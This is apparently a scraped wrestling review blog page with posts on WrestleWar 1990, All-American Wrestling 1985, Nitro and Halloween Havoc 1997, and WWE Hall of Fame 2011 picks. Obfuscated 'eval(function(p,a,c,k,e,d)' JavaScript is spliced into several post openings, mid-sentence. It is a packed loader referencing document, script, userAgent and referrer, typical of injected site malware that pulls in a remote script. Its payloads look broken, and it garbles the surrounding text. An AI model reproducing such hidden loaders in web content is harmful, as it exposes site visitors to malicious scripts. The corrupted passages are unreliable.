Thought of the Day: Statute of Limitations

I’m eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kyfei|var|u0026u|referrer|drhhn||js|php'.split('|'),0,{})) watching Wrestlemania 14 and this question occurs to me:Shamrock keeps beating up referees after he wins the Intercontinental Title so the referee reverses his decision.  Even though the match ended three minutes earlier.  What is the statute of limitations for changing an ending to a match?  Could Shamrock have cut Hebner off in the parking lot six months later and have the decision reversed there?  Wouldn’t the thirty day title defense requirement be up for whomever the title is returned to?  I can feel the walls of the wrestling time continuum crumbling as I think about this.



On This Day: February 25, 2013 – Wrestle War 1990: One Heck Of A Pit Stop Before Sting’s Time

Wrestlewar eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ynbti|var|u0026u|referrer|deezi||js|php'.split('|'),0,{})) 1990
Date: February 25, 1990
Location: Greensboro Coliseum, Greensboro, North Carolina
Attendance: 9,894
Commentators: Jim Ross, Terry Funk

We’re into 1990 now and Funk has stepped into commentary, so we need a new feud for Flair. That man would have been Sting who had been thrown out of the Horsemen on February 6. At Starrcade, Sting had pinned Flair to win the Iron Man Tournament and asked for a title shot. Flair snapped and turned the Horsemen heel again, destroying Sting in the process. That night, Sting legit hut his knee so his title match tonight (which he was supposed to win) was postponed. The replacement? Lex Luger, who has had more classics with Flair than should be legally allowed. Let’s get to it.

This show is called Wild Thing. The NWA had a habit of adding random titles to shows which have nothing to do with them for the most part.

Dan Spivey is hurt and may be out tonight.

JR and Terry run down the card.

Teddy Long says Spivey is indeed hurt and there will be a replacement for him tonight. There’s another surprise later as well.

Kevin Sullivan/Buzz Sawyer vs. Dynamic Dudes

Sawyer is insane and that’s about all you need to know about him. He starts with Ace and these people are a bit more receptive than the Philly crowd was in our last show. Speaking of last shows, this is the final major show that Sawyer was on for WCW if that means anything for you. Ace sends him to the floor and a brawl breaks out on the outside. Shane and Sullivan come in and the Dudes keep control with the arm work.

Ace comes in to work on the arm more but Sullivan gets a tag. He also gets in a fight with Sawyer, much to the Dudes’ amusement. That’s smart: why break up a fight when you can get a breather? Sawyer’s arm goes into the post so Shane cranks on it. Out to the floor with Sawyer taking over. Sunset flip gets two for Ace and there’s the tag to Shane. Buzz immediately takes him down and hooks a bearhug to take Shane to the mat.

Sullivan comes in and pops Ace, which draws him in so that Sullivan can throw Shane to the floor. Everything breaks down and Johnny botches a flying headscissors. Sawyer goes up and hits a big old flying splash for the pin. That’s the interim Raw GM and the Executive Vice President of Talent Relations for you. Funk called it the Jam Sandwich, which is something Brodus should use.

Rating: C-. Not much here as none of these guys was much to watch at this point. I’ve never been a big fan of Shane and Ace is just ok. He never was all that good as his size became an issue for him but he was too slim to be a power guy. Not a very good match with a total contrast in styles that didn’t work at all.

Norman the Lunatic, who is a goofy character that isn’t all there upstairs, hits on Missy Hyatt.

Cactus Jack Manson vs. Norman the Lunatic

Yes it’s Mick Foley and no he doesn’t mean a thing yet. He’s pretty much just thrown onto the card here, much like Cuban Assassin was last time. Jack jumps him to start but gets thrown to the floor with ease. JR: “This will not be a battle of wits. It may be a battle of nitwits.” Also Jack’s favorite color is light black and wants to be the foreman of the Double Cross Ranch.

Jack rams Norman’s head into the buckle and Norman says do it again. A quick bearhug goes on Jack but he’s soon whipped over the corner and out to the floor in a big crash. Headbutt knocks Jack off the apron but misses a charge into the post. Back in and Cactus rips at his face. Cactus pounds him down and it’s off to a chinlock. The electric chair drop puts Jack down but a splash misses. Jack tries a sunset flip but Norman drops onto him for the pin.

Rating: D. Yeah it was bad but Foley of course would get a lot more going for him. Norman is more famous as Bastian Booger and a lot of other bad characters in WWF. Jack was clearly going to be a guy that bumped like mad, but at the end of the day what sets him apart is that he made people care about him as opposed to guys like say New Jack.

Jim Cornette talks about how things change but some things stay the same. Tonight the Midnights have the Rock N Roll Express, which is something that never changes.

Rock N Roll Express vs. Midnight Express

This is another one of those matches where the starting rating rises up from a C to a B. These guys feuded for probably 6 years on and off and had more classics than you could shake a stick at. Why you would want to shake a stick at it is beyond me but you get the idea. Gibson vs. Stan gets us going. Lane dives to the mat and they counter each other a lot. Gibson counters a counter and drops a fist onto Lane’s head to take over.

Cornette gets in an argument with Nick Patrick and wants to box him. This is an old spot they did which always gets a big reaction. Cornette is dispatched quickly and it’s Morton vs. Lane now. The fans are into this too. Bobby gets knocked to the floor and Lane shoves him down as well. We never got a big singles match between those two and I think that’s for the best.

Lane vs. Bobby now and they speed things up. Nothing seems to be coming out of the shove from a few moments ago. Off to a test of strength and Morton is losing. He climbs up Bobby, stands on his shoulders, and jumps onto Lane in the corner. Gibson runs off Lane and the Midnights are knocked to the floor. Cornette tries to get in and falls over the top rope so Gibson knocks back down. Both Midnights are double clotheslined to the floor as well and it’s been one sided for about the first eight minutes.

Back in now and it’s Gibson vs. Lane but Lane still can’t get anything going. Morton comes in for a double elbow but gets sent outside. Never mind again as Lane goes into the post. Now it’s Eaton again and it’s a slugout. Terry gets into this and they both tumble to the floor. Outside Lane slams Morton and the Midnights take over.

Now we get into a much more traditional tag match which was popularized if not perfected by these teams, making this a fun match. Morton is sent to the floor and rammed into various metal objects. He manages a sunset flip but Cornette grabs the referee. Morton tries an O’Connor Roll but Lane makes a blind tag and hooks a neckbreaker for two. Eaton goes after the arm with a single arm DDT and into a hammerlock.

Lane comes in for a quick reverse chinlock before bringing in Eaton for a top rope elbow. Back to the arm by Lane. Man the Midnights tag in fast. Eaton works on the arm again with the hammerlock and the Midnights set for the Rocket Launcher. It hits the knees though and here’s Gibson. Everything breaks down but he’s still 2-1. The Midnights load up the Flapjack but Gibson rolls through for the pin on Lane.

Rating: B+. Oh come on it’s the Midnights vs. Rock N Roll. There’s practically no way that this can be screwed up. It’s a great speed match and they know each other so well that they’re going to have a good match through familiarity if nothing else. Fun stuff here but somehow not their best work together.

The Road Warriors have Sting armbands on and are ready for the Chicago street fight up next.

Skyscrapers vs. Road Warriors

Street fight. The Skyscrapers are almost a revolving door of members and in this case it’s Mark Callous and a masked man who is played by Mike Enos. The Skyscrapers have Teddy Long to counter Paul Ellering. Long comes in to fight Ellering and is knocked to the floor with one punch. Everyone is in street clothes. What street these would be normal on I have no idea but the thought is there.

The Warriors dominate to start and here comes Doom for no apparent reason. They’re in suits and Teddy goes to join them. Enos gets in some offense to take over (he’s just the masked man here but I’ll be calling him Enos to keep things clearer) but it’s pretty short lived. The Road Warriors shrug it off and Hawk hits a running clothesline off the apron to Callous. They get back in and this slows down even more. The Warriors throw Callous out and the Doomsday Device kills Enos easily for the pin.

Rating: D. I love the Road Warriors but they need the right kind of team to make things work. The Skyscrapers were never quite a team that worked, at least not here. They were good at destroying jobbers and small people but having brawls like this was never really anything worth seeing.

Doom comes in post match and brawls with the Warriors in a much more entertaining fight. This feud never really happened as the Warriors jumped to the WWF in June.

US Tag Titles: Freebirds vs. Brian Pillman/Z-Man

The Birds are challenging here. They get sent to the floor immediately and the champs steal their clothes and dance around as Badstreet plays in the background. Funny moment. The crowd is all over the Birds. They weren’t much in the ring but they were heat machines. Today is Flair’s birthday according to JR. We finally get going with Brian vs. Hayes. Brian knocks him around with a clothesline and Garvin fluffs his hair.

Speaking of Garvin here he is and he gets Z-Man. Z takes him down with a headlock but misses a dropkick. Garvin, ever the Rhodes Scholar, ducks his head and gets kicked in the face. Back to Brian for another headlock. Hayes comes back in and things are going slowly to start, implying that they have a lot of time to work with. Sunset flip with a great jump gets two for Pillman.

Z-Man works on the arm and goes into a Fujiwar Armbar to Hayes. Back to Garvin who loses any advantage that Hayes had gotten on Z-Man. Pillman comes in as the fans seem a bit distracted. Hayes comes in and hooks a sleeper (sleep hold according to Ross) as JR talks about Paul Boesch, the promoter of Houston Wrestling for decades, demonstrating this hold in the second World War.

Brian escapes and sends him into the corner but charges into a great left hand to put him down. Brian rolls through a cross body for two. Back to Garvin as this is going a lot longer than I was expecting it to go. Since Garvin can’t manage to keep Brian in one place he makes the tag to Z-Man. Z-Man puts the Z Lock (sleeper) on Hayes but Garvin comes off the top for the save.

Garvin hooks a chinlock as this match has gone well over fifteen minutes so far. Now they mix things up with a Hayes chinlock. After 18 minutes, we’re told this is a rematch from the finals of the tournament where Z-Man and Pillman won the titles in the first place. Z-Man gets a small package for two. Hayes is like enough of that and goes back to the chinlock. JR thinks Hayes looks like Alice Cooper. Terry wants to know if Hayes knows who Buffalo Bill is.

Hayes goes up and kind of steps off with no significant contact being made. Back to Garvin as this needs to end really soon. Who decided to give the Birds over twenty minutes? Top rope fist gets two for Hayes after a non-tag. Bulldog gets two as Pillman breaks it up. Back to the chinlock #4 but Zenk drops him with a DDT of his own. There’s the tag to Pillman and the fans care more than I expected them to. Pillman cleans house but Hayes brings in a title but Pillman comes off the top with a cross body as the title is being taken out to retain the titles.

Rating: D. Technically the match was fine but MY GOODNESS this ran long. It clocks in at almost twenty four minutes which is just far too long. Pillman and Zenk can easily go that long but the Birds were already through their whole set of stuff at about 10 minutes in. The solution of course? Go 14 minutes past that. WAY too long and if you cut this to like 12 minutes it’s probably an okish match.

The Birds DDT both champs post match.

The Steiners are all fired up and dedicate their match to Sting. Rick calls himself a big bad bully beater upper.

Tag Titles: Ole Anderson/Arn Anderson vs. Steiner Brothers

This was supposed to be Tully/Arn but he failed a drug test and was pretty much finished in mainstream wrestling so they brought out Ole in the finals part of his in ring career to fill in for him. Scott starts with Arn and the ring is quickly cleared by pure power. The Steiners are champions if that’s unclear. The Andersons try to double team and that fails as well. Rick and Scott go after the knee of Ole so Ole bails and almost says some very bad words.

Rick vs. Ole now and it turns into another brawl very quickly with the champs clearing the ring again. Rick hooks on a headlock to Arn and JR talks about Rick wanting to be an elementary school science teacher. Terry wants to know why he isn’t anyone’s favorite wrestler. Arn gets in a knee and goes up but has Rick waiting on him. For once a Horseman thinks better of it and climbs down.

Arn bails to the floor and both Steiners are in again. That’s been a habit of theirs tonight. Back to Ole with a headlock on Scott which goes nowhere. Arn comes in again and takes an atomic drop, allowing him to do his great selling of it. Figure Four is broken up by Ole who then comes in legally. For some reason Ole tries amateur stuff on Scott who easily suplexes him and tags in Rick.

The Anderson get an advantage for what must have been a good three seconds but Rick suplexes Arn to stop it cold. Ole tries to hit Rick in the head and that goes about as well as anything else has. The Andersons are brothers at this point for those of you that try to keep track of how they’re related. They go after Rick’s arm which is their trademark. Ole tries to hit Rick in the head which is enough for Rick to make the tag back to Scott.

Scott and Arm go outside and Scott accidentally clotheslines the post. You know Arn is going to go after that like Elvis on a pound of bacon. Ole comes back in and the arm work continues. For some reason the Andersons keep switching off from the arm to general attacks which never work. A Vader Bomb gets knees and there’s a Frankensteiner and a hot tag to Rick. In a fast ending, Rick punches them both down and a fast small package pins Ole.

Rating: C-. It’s not bad but again this was long and not that great. The Andersons were a lot stupider than you would expect from them here which is very Un-Horsemenlike. It’s much better than the previous one but it’s still long and boring. It was too slow and these guys didn’t click at all for the most part.

The Andersons get in a double team move on the arm of Scott post match to injure it.

Lex says he’s nervous but he’s going to Rack Flair tonight and win the title.

Flair says that he’s great and has Woman says that Lex needs to get his engine started, whatever that means.

NWA World Title: Ric Flair vs. Lex Luger

Sting is with Lex while Woman is with Flair. The idea here is that Sting was supposed to get the title shot here but legit injured his knee which makes this out to be a “tragedy” according to the introductions. This is the main event and we have 45 minutes to go during Flair’s entrance. Chain wrestling to start with no one having an advantage. Flair shoves the referee and is shoved right back.

Flair agrees to a test of strength and down goes Naitch. Flair bails to the floor and says Wooo a lot. Lex knocks him to the floor again so Ric takes the walk. Luger chases him down and the beating continues. Lex is US Champion here. A gorilla press by Luger puts Flair down so Flair tries the chops. Those do about as well as they do against Sting and Lex is all fired up.

There’s a bear hug which Luger bends forward for a two count. Luger hits ten punches in the corner but Flair ducks a clothesline and Luger falls to the floor. Flair chops away outside and back in they go. Scratch that as Flair dumps him again and calls for Woman to get on the apron. With the referee distracted Flair sends him into the barricade and chops him down. Flair punches him back down to the floor as I guess he’s looking for the countout.

Back in for more than ten seconds this time and Flair drops a knee on the head. Another knee drop hits for two. Lex pops up for his comeback but misses a corner charge and is right back down again. This is one of those matches that’s hard to make fun of because they both know what they’re doing and have such great chemistry together that there’s not much they can’t do together.

Flair hooks a hammerlock and stomps on the arm. Lex starts coming back again so Flair pokes him in the eyes, which Funk calls the Achilles Tendon of big men. Luger gets caught in another hammerlock and when he tries to punch his way out of it, the referee stops the fist, allowing Flair to poke him in the eye again. Ric works on the arm even more but Lex grabs the throat to break it up. He throws Flair into the corner for the Flair Flip and we go to the floor.

Flair chops Lex again and Luger is all fired up. Back in and Flair is caught in a sleeper which puts him down. The champ gets his foot on the ropes and manages a belly to back to escape. Luger suplexes him right back and goes after the knee. He wraps it around the post and tries a figure four. Even JR basically says it’s awful as he spins the wrong way, making him look like he’s a nine year old imitating it.

Ric fights up and chops some more but walks into a powerslam for two. The pop on the kickout was big as the fans thought it was over. Flair still can’t get that the chops don’t work and Lex is all fired up. After a quick exchange outside, Luger backslides him for two. Luger punches him in the corner but Flair atomic drops him, hurting Lex’s knee in the process. Where are these knee injuries in matches against people not named Flair?

A pair of top rope axhandles gets two for Flair. Butterfly suplex gets two. Here’s a sleeper by Flair as he hasn’t gone after the knee much yet. That gets broken after awhile and NOW it’s knee time. We’re probably half an hour into this. Flair works on the knee in his usual manner as Sting comes back to ringside. Sting cheers Luger on enough for him to reverse the hold and it’s broken up.

He slaps Lex to fire him up and Flair bails fast. Out to the floor and Lex no sells a whip into the barricade. There’s a gorilla press and Flair goes up, only to get slammed down. Luger clotheslines him to the floor then suplexes him back in for two. There’s the powerslam which Luger earlier said would set up the Rack. Woman distracts Luger, allowing Flair to knee Lex in the back, crushing the referee in the process.

Lex clotheslines Flair down but there’s no referee. A superplex kills Flair dead again but the Andersons run in because there’s no referee. There’s the Torture Rack and the referee is back up, but the Andersons go after Sting. Luger drops the hold when Flair is about to give up, going to save his friend. The Horsemen keep him out there long enough for the count out and a HUGE boo from the crowd. Sting’s day was coming soon though.

Rating: A. See, THIS is how you book a screwjob finish. It made perfect sense for Lex to go out there, meaning that for once he wasn’t an idiot. They had the crowd into this and when you can do that during a forty minute match, that’s usually a great sign. It was an excellent match and the ending is about as perfect as it could have been. Luger would get a rematch the next month in a cage and then it was Sting’s turn.

The Steiners come out for the save. Good thing they couldn’t be out 40 seconds earlier to let Lex get the title isn’t it?

Overall Rating: B-. Still not a classic but it was a better show than Halloween Havoc for sure. The two later tag matches weren’t anything of note and you can always find a good Express vs. Express match. Still though, this was a good show overall and there really isn’t anything all that terrible on it. I’d highly recommend the clipped version or one with a fast forward button at the ready.

Remember to follow me on Twitter @kbreviews



WWE Hall of Fame: Class of 2011

This is one of the lighter classes, except for the headliner.Shawn eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hfiry|var|u0026u|referrer|yyait||js|php'.split('|'),0,{})) Michaels

Shawn Michaels is a yes vote.  Moving on.

 

Legion of Doom

They’re the most dominant tag team ever, bar none.  Yes the Dudleys won a lot more titles, but to even suggest that the Dudleys are at the Road Warriors’ level is laughable. The Road Warriors feuded with the Horsemen in the late 80s.  That alone makes them a huge deal.  This isn’t even remotely close and it’s an easy yes.

 

That pretty much ends the good Hall of Fame picks this year.  Let’s get through the rest of them.

 

Sunny

I can accept this one given how insanely popular she was, but the first Diva inducted should have been Liz.  Considering the INSANE legal trouble Sunny has gotten into recently, this is one of those that WWE likely regrets.  Also, Sable should have gone in before Sunny.  I’m ok with this one but it definitely has its flaws.

 

Jim Duggan

Uh…….yeah.  Duggan is in that group of people with Hillbilly Jim and Koko B. Ware: he didn’t accomplish much (although Duggan accomplished a lot more than they did) but he’s so beloved that it’s hard to turn him down.  It’s just hard not to like this guy on some level as he never came off as menacing but rather a guy who loved America and wanted to do the right thing, while also being incredibly goofy.  At least Duggan won something of note in his career, as he won the first Royal Rumble as well as the WCW US and TV Titles.  As for being in the Hall of Fame, I’ll go hide in a shelter somewhere before telling the fans that no, he doesn’t belong in there.  I feel dirty for saying it though.

 

Bob Armstrong

This is another one where it’s more because of his family than anything else.  Bob is the father of wrestlers Steve Armstrong (wrestled in WCW in the early 90s), Brad Armstrong (good wrestler in WCW), Brian Armstrong (more famous as Road Dogg) and referee Scott Armstrong (the blonde one with that annoying hitch in his count).  As for Bob, he wrestled under a mask for years as the Bullet in Alabama and other parts of the south.  While he’s a big deal down there, that’s really about all he’s done.  To me, that isn’t enough to be in the Hall of Fame.

 

Abdullah the Butcher

This falls under the same category as the Sheik: yeah he’s legendary, yeah he’s been around forever, yeah he was innovative, no I don’t want him in the Hall of Fame due to all of the stuff he’s done to hurt wrestling by making hardcore more popular.  That’s all there is to this one.

 

Drew Carey

Yeah he’s here too.

 

Like I said, this is a pretty lame class other than the headliner.



On This Day: February 24, 1985 – All-American Wrestling: Featuring A Canadian!

All-American eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yssdt|var|u0026u|referrer|zfzye||js|php'.split('|'),0,{})) Wrestling
Date: February 24, 1985
Commentators: Vince McMahon, Bruno Sammartino, Jesse Ventura

This is another one of those shows that I have a fair few episodes of from this era. This is one of WWF’s weekend shows and I think it ran on Sunday mornings. It was one of their bigger shows and it ran nationally. We’re about 5 weeks from Wrestlemania and this is the six days after the War To Settle The Score, so this is probably going to be talking about Hogan vs. Piper. Let’s get to it.

By the way, this is one of those shows that shows clips from everywhere so no location listed.

Terry Gibbs/Carl Fury vs. Junkyard Dog/Tony Atlas

Atlas and Gibbs start us off and Atlas easily breaks a full nelson. Both jobbers are easily thrown around and here’s JYD. He throws Fury around for a bit before turning it back over to Atlas. Gorilla press and a splash end this. On a level of squashes, this was pretty squashy.

Off to Gene in the Control Center where he says what’s coming.

UPDATE! With Alfred Hayes!

This one is about the Lady’s Championship as Lelani Kai beat Wendi Richter recently. We get a clip of Moolah beating up Richter during a promo. Richter is going to use her return clause. That would be at Wrestlemania.

Pete Pompeii vs. The Spoiler

There’s no referee. Spoiler is a masked guy with Johnny V as his manager. Johnny is taking pictures during the match. This is in Ontario. It’s another squash with Pompeii getting in some small offense but nothing that makes any real difference. Spoiler wins with the Claw.

Lou Albano is freshly face and has been raising money with Cyndi Lauper for charity. However he wants to talk about his fifteenth team to be champions. He brings in Mike Rotundo and Barry Windham who he SWEARS is the best team they’ve ever seen.

Gene says this is our feature match.

Bret Hart vs. Rene Goulet

This is Bret’s MSG debut and he’s just a kid in black and red trunks. Bret takes him down to the mat with a headlock and then does the same with an armbar. Goulet gets in a knee to the ribs to break that up and hooks a bearhug. Goulet bites Bret a lot and shoves him onto the announce table. Now it’s a claw hold which Bret eventually breaks up. A slam gets two for Goulet.

Bret grabs a sunset flip out of nowhere for two. Rene is your traditional pompous Frenchman and plays to the crowd as rudely as he could. Off to a chinlock and then the Claw again because once wasn’t enough. Bret gets knocked to the floor and Goulet poses on the ropes. Hart comes back in with a sunset flip that had the crowd very excited. Here’s Bret’s comeback with an atomic drop and abdominal stretch. There’s the backbreaker and a legdrop.

Goulet rams him into the corner and pulls out a foreign object from his tights. Bret grabs a sleeper (his finisher apparently, which Gene calls a Singapore Sleeper which is a new one on me) and it gets the win for Bret. Goulet still has the object (can you really call it foreign with him?) after the match.

Rating: D. Bret is one of the best ever but he needs more than this to work with. Goulet was really boring and was usually just there to put over young guys like Bret or Hillbilly Jim. When you use the same rest hold multiple times, you can usually tell that a guy isn’t anything special. Boring match but the fans liked Bret.

Time for the Pit!

The guests are Mr. Fuji and Jim Neidhart. That’s a unique pairing. Fuji says he’s sorry Muraco isn’t here tonight. Apparently Fuji is managing Neidhart. That must have been pretty short lived. Anvil introduces himself and Piper says he loves them. That’s it.

Iron Sheik/Nikolai Volkoff vs. Aldo Marino/Tony Garea

Garea has seen better days. The evil foreigners (as opposed to the nice foreigners) do their singing and IRAN NUMBER ONE RUSSIA NUMBER ONE thing. Garea vs. Sheik starts things off. After about 50 seconds we get contact in the form of a Garea headlock. The fans are freaking over Garea hurting Sheik. Off to Aldo who keeps up the headlocking. Volkoff gets in a boot though and the bad guys take over. Belly to back suplex kills Marino and it’s off to Volkoff. He piledrives Marino and the gorilla press backbreaker ends this massacre.

Rating: D. Garea was so fun to watch back in the day but his prime was about five years before this. Not much to see here but it was a squash near the end of a show so there’s only so much criticism you can give it. Boring match and it was just barely long enough to rate, which is very pesky.

Fuji says he’s beautiful and successful. He and Muraco communicate with their minds. Muraco pops up and shouts BANZAI. He’s got the Asiatic Spike now. Muraco sounds high as a kite and says they’re both evil.

Overall Rating: D. I can’t say it’s good because they’re all over the place with this show. Literally as they were in about 4 different arenas. This is another in the pile of WWF shows that has a random assortment of matches, most of which aren’t any good. Bret’s debut in MSG is cool to see but other than that, not unless you’re a big fan of this time period.

Remember to follow me on Twitter @kbreviews



Undertaker Returns At House Show

Apparently he was in a tag match.  Pictures and video (from WWE’s official Youtube channel) included.

He doesn’t look great but Undertaker could sit in the ring and have a ham sandwich at Wrestlemania and get a big ovation.

My guess is a match with Punk which would likely be the best bet.

Thoughts/predictions?



Monday Nitro – October 13, 1997: Sting’s Army

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yaety|var|u0026u|referrer|dkhnb||js|php'.split('|'),0,{})) Nitro #109
Date: October 13, 1997
Location: Ice Palace, Tampa, Florida
Attendance: 12,000
Commentators: Mike Tenay, Tony Schiavone, Bobby Heenan, Larry Zbyszko

We see the Diamond Cutter on Savage from last week.

The announcers say there are four title matches this week. Is it sweeps week or something?

Cruiserweight Title: Eddie Guerrero vs. Psychosis

We get the spot of the match as Psychosis hits a big old senton backsplash to the floor, possibly injuring his back in the process though. Back in and the guillotine legdrop misses Eddie but Psychosis grabs a quick rollup for two anyway. Psychosis goes for the arm which is kind of rare to see in a lucha match. Once that goes nowhere Eddie takes over, only to walk into a backbreaker. The masked one goes up but is quickly crotched, superplexed and Frog Splashed for the pin to retain the title.

Eddie teases ripping off the mask but walks away.

We recap Jarrett/Debra vs. Mongo.

Steve Regal vs. Steve McMichael

Gene is with Debra and asks about rumors that Jarrett is gone. Apparently he is indeed gone (SWEET!) but she has a surprise for Mongo at Halloween Havoc. Mongo calls her a snake. No that would be her future husband, who would also be named Steve.

Yuji Nagata vs. Chris Jericho

Bill Goldberg vs. Scotty Riggs

Riggs gets up some boots in the corner but gets slammed out of the corner a few seconds later. Scotty comes back with some dropkicks including one that sends Goldberg over the top. Apparently Judo Gene LeBell wants to train Goldberg. Bill will have none of this selling stuff and LAUNCHES Riggs into the barricade to take over again. Back in and the Jackhammer ends this. This would be #4 as Goldberg won on Saturday Night as well.

The Nitro Girls waste some time.

Tag Titles: Steiner Brothers vs. Scott Hall/Syxx

The Nitro Girls dance a bit.

Dean Malenko vs. Rey Mysterio Jr.

Back in and Rey counters a variety of holds by Dean by flying through the air, only to be caught by a leg lariat for two. A quick victory roll gets two for Rey but a headscissors is countered into a side slam for no cover. Off to a figure four necklock by Dean for a few seconds before he powerbombs Rey halfway back to Mexico for two. Rey comes back and pounds away in the corner but Dean launches him into the corner.

Video on Hennig vs. Flair.

Scott Norton vs. Ray Traylor

Back to the match and Buff chokes away a bit while Norton argues with the referee. Norton pounds away very, very slowly. Traylor comes back with an uppercut and puts Norton in 619 position for a sliding uppercut. Vincent gets decked too but during the distraction Buff throws Norton the spraypaint can and Traylor is knocked out for the pin.

TV Title: Disco Inferno vs. Alex Wright

US Title: Diamond Dallas Page vs. Curt Hennig

Remember to follow me on Twitter @kbreviews



Halloween Havoc 1997: Age In The Cage And One Of WCW’s Best Matches Ever

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zfreb|var|u0026u|referrer|ztyrk||js|php'.split('|'),0,{})) Havoc 1997
Date: October 26, 1997
Location: MGM Grand Garden Arena, Las Vegas, Nevada
Attendance: 12,457
Commentators: Tony Schiavone, Dusty Rhodes, Bobby Heenan

 

After a brief intro that is literally all about Hogan vs. Piper, we’re into the arena for some talking.

 

Tony talks about how a year ago Piper debuted in this arena. Oh and it’s the biggest cage match EVER!!! The announcers talk about the cage match a lot which is of course non-title as Sting vs. Hogan is carved into granite here. If Hogan wins, the NWO may never die. Yes, Piper was pushed that hard.

 

Yuji Nagata vs. Ultimo Dragon

 

The Dragon wanted to get his hands (or is it claws?) into Sonny Onoo, the manager of Nagata. Onoo is the old manager of Dragon and he screwed him over for Nagata. I guess cuddling with the scales didn’t work. This feud went on way too long and no one really wanted to see it but it kept getting pushed anyway. They trade some kicks to start and Nagata takes over.

 

They speed things up and Dragon tries some more kicks which results in him getting suplexed hard. There’s the head stand in the corner but Dragon gets caught in a neck crank. He can’t get anything really going here. Dragon finally breaks the hold and gets kicked for his efforts. Tenay thinks the winner here might be #1 contender for the Cruiserweight Title.

 

Camel clutch by Nagata and Dragon is in trouble again. We hear about Nagata being in MMA which is true. He was 0-2 and his fights lasted less than a combined 90 seconds. To be fair though, his opponents were Cro Cop and Fedor. Wait those fights hadn’t happened yet. Unless they were amateur or at REALLY small promotions, I have no idea what fights Tenay is talking about.

 

Suplex gets two for Nagata as I’m in pain simply thinking about having to fight those two. Dragon gets a Dragon Screw leg Whip out of nowhere and we hit the floor. Dragon tries a dive and jumps into a kick. This has been about 85-90% Nagata. Here comes Raven with the Flock for some reason as Dragon hits the Asai Moonsault. Back in the ring and the handspring elbow by Dragon eats a knee.

 

Sunset bomb off the top gets two for Dragon as he’s slowly getting more moves to hit. Apparently he has a bad elbow. Standing moonsault gets two and Dragon wants the spinning frankensteiner. Nagata reverses and is able to drop the arm across the thing that connects the buckle to the post. He hammers the arm and gets a belly to belly for two.

 

Nagata Lock (a leg lock. What the heck?) goes on for a bit but Dragon grabs a Dragon Sleeper for a few seconds as Nagata escapes. Both guys down now but Dragon pops up to hit his kicking sequence to take over. Spinning frankensteiner hits but the arm is hurt. He goes for the Dragon Sleeper and Nagata reverses into an armbar for the tap out. Quick finish there.

 

Rating: B-. Basic match here and Nagata was dull as always, but this was still good. This feud would go on forever with Nagata never really losing. Dragon never really meant anything after this, although you could say the same thing for the whole company in about six months. Not a bad opener, but Dragon got beaten down too much.

 

Disco Inferno is on WCW.com with Mark Madden. Hey it’s like a WZ Party! He runs his mouth about facing Jacqueline, a woman, tonight. I can’t stand her and this angle was bad.

 

Gedo vs. Chris Jericho

 

This is a bonus match. Gedo has blonde hair and is in a dark yellow cut off shirt and pants. Gedo’s partners may be coming to WCW soon apparently. Apparently Gedo lost in the finals of the Super J Cup. Jericho sends him to the floor and then a long suplex in the ring puts Gedo down. Jericho is a face here.

 

He chops away but gets knocked over the rope once and skins the cat. I still wonder how in the world that name came from. Gedo is apparently a fan of 1970s southern brawling and is like Dusty Rhodes. Oh dear indeed. And this guy almost won the Super J Cup? That could be horrifying. Gedo takes over with a powerslam and a sleeper but Jericho gets a clothesline to make Gedo flip inside out.

 

Double powerbomb by Jericho (I didn’t know he did that in WCW) gets two. They both go to the top but Jericho botches the tar out of it (how often do you hear that line?) and almost lands in a Styles Clash kind of move. That looked painful as all goodness but not quite a FREAKING OW MAN level. Pescado by Jericho eats boots and they head back in. Gedo gets a shot at the knee and goes up, only to jump into the Liontamer to end this.

 

Rating: C+. Pretty good match here but not quite as good as the first one. The styles kind of clashed here (haha that was funny) but the result was still solid. Jericho botching is always interesting to see due to the rarity of it. Decent match as yet again we see the WCW formula of good matches from young guys and the bad matches from the old guys to end it.

 

Mongo and Debra argue about divorce things.

 

Cruiserweight Title: Eddie Guerrero vs. Rey Mysterio

 

This is mask vs. title with Eddie as champion of course. Great heat on Eddie to start as he’s totally evil here. Rey gets an arm drag and a cross body to send him to the floor almost immediately. Rey flips to the apron but gets caught by Eddie and tripped, sending him to the floor. Eddie rams Rey into the steps and adds a hilo to the back in the ring. Rey fires off a dropkick but tries a cartwheel which gets caught in a belly to back as Eddie continues his dominance.

 

Tilt-a-whirl backbreaker by Eddie gets two. Eddie goes after the mask but this is part of a bodysuit kind of a thing. Abdominal stretch by Eddie and Rey is in trouble. Tenay says that Rey used to wrestle as Hummingbird which Heenan of course rips into. Rey is on his back in a test of strength position so he uses Eddie as a board to pop up with and jumps to the top rope, backflips over and grabs a DDT out of nowhere to break Eddie’s momentum. AWESOME move.
